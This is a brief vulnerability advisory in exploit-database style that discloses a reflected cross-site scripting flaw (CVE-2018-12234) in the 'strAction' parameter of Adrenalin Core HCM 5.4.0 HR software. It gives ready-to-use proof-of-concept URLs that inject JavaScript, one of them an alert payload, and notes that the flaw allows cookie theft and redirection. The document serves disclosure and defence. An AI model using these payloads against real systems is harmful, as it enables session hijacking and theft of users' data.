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# Exploit Title: Adrenalin Core HCM 5.4.0 - 'strAction' Reflected Cross-Site Scripting  
# Google Dork: NA  
# Date: 2018-09-06  
# Exploit Author: Rishu Ranjan (Cy83rl0gger)  
# Vendor Homepage: https://www.myadrenalin.com/  
# Software Link: https://www.myadrenalin.com/core-hcm/  
# Version: 5.4.0 (REQUIRED)  
# Tested on: NA  
# CVE : CVE-2018-12234  
# Type: webapps  
# Platform: Multiple  
  
# Description  
# ====================  
# A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin Core HCM v5.4.0 of HRMS Software.   
# The user supplied input containing malicious JavaScript is echoed back as it is in JavaScript code in an HTML response.  
  
# URL  
# ====================  
  
https://<Host:port>/Adrenalin/flexiportal/GeneralInfo.aspx?strAction=Update0%22[Javascript code]22HRMS%22%29%2f%2f1  
https://<Host:port>/myadrenalin/flexiportal/GeneralInfo.aspx?strAction=Update11170%22%3balert(%22HRMS%22)%2f%2f155  
  
Parameter  
====================  
strAction  
  
Attack Type  
====================  
Remote  
  
CVE Impact Other  
====================  
Allows an attacker to input malicious JavaScript which can steal cookie, redirect them to other malicious website, etc.  
  
Reference  
====================  
https://nvd.nist.gov/vuln/detail/CVE-2018-12234  
https://www.knowcybersec.com/2018/09/first-cve-2018-12234-reflected-XSS.html  
  
Discoverer  
====================  
Rishu Ranjan